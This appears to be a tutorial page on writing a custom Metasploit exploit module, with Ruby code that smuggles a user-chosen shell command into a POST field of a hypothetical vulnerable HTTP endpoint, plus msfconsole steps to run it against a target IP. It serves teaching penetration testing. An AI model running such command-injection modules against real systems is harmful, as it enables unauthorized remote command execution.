Skip to content

10. Metasploit Writing Advanced Metasploit Modules

Writing Advanced Metasploit Modules

Scenario: Creating a Remote Command Execution Module

This module targets a custom HTTP application with a command injection vulnerability.

Steps:

  1. Create Module File:

    • Path: ~/.msf4/modules/exploits/custom/http_rce.rb.
    mkdir -p ~/.msf4/modules/exploits/custom
    nano ~/.msf4/modules/exploits/custom/http_rce.rb
    
  2. Write the Module:

    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Custom HTTP Command Injection',
          'Description'    => %q{
            This module exploits a command injection vulnerability in the HTTP application.
          },
          'Author'         => ['Your Name'],
          'License'        => MSF_LICENSE,
          'References'     =>
            [
              ['CVE', '2023-12345']
            ],
          'Platform'       => ['unix', 'linux'],
          'Targets'        =>
            [
              ['Linux', {}]
            ],
          'DefaultTarget'  => 0))
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path of the application', '/']),
            OptString.new('CMD', [true, 'Command to execute', 'id'])
          ])
      end
    
      def exploit
        uri = normalize_uri(target_uri.path, 'vulnerable_endpoint')
        cmd = datastore['CMD']
        payload = "input=#{cmd} && echo success"
        print_status("Sending payload...")
        res = send_request_cgi({
          'method' => 'POST',
          'uri'    => uri,
          'data'   => payload
        })
        if res && res.body.include?('success')
          print_good("Command executed successfully!")
        else
          print_error("Failed to exploit the target.")
        end
      end
    end
    
  3. Load and Test:

    • Reload Metasploit modules:

      reload_all
      
    • Use the module:

      use exploit/custom/http_rce
      set RHOST <target-ip>
      set CMD "whoami"
      exploit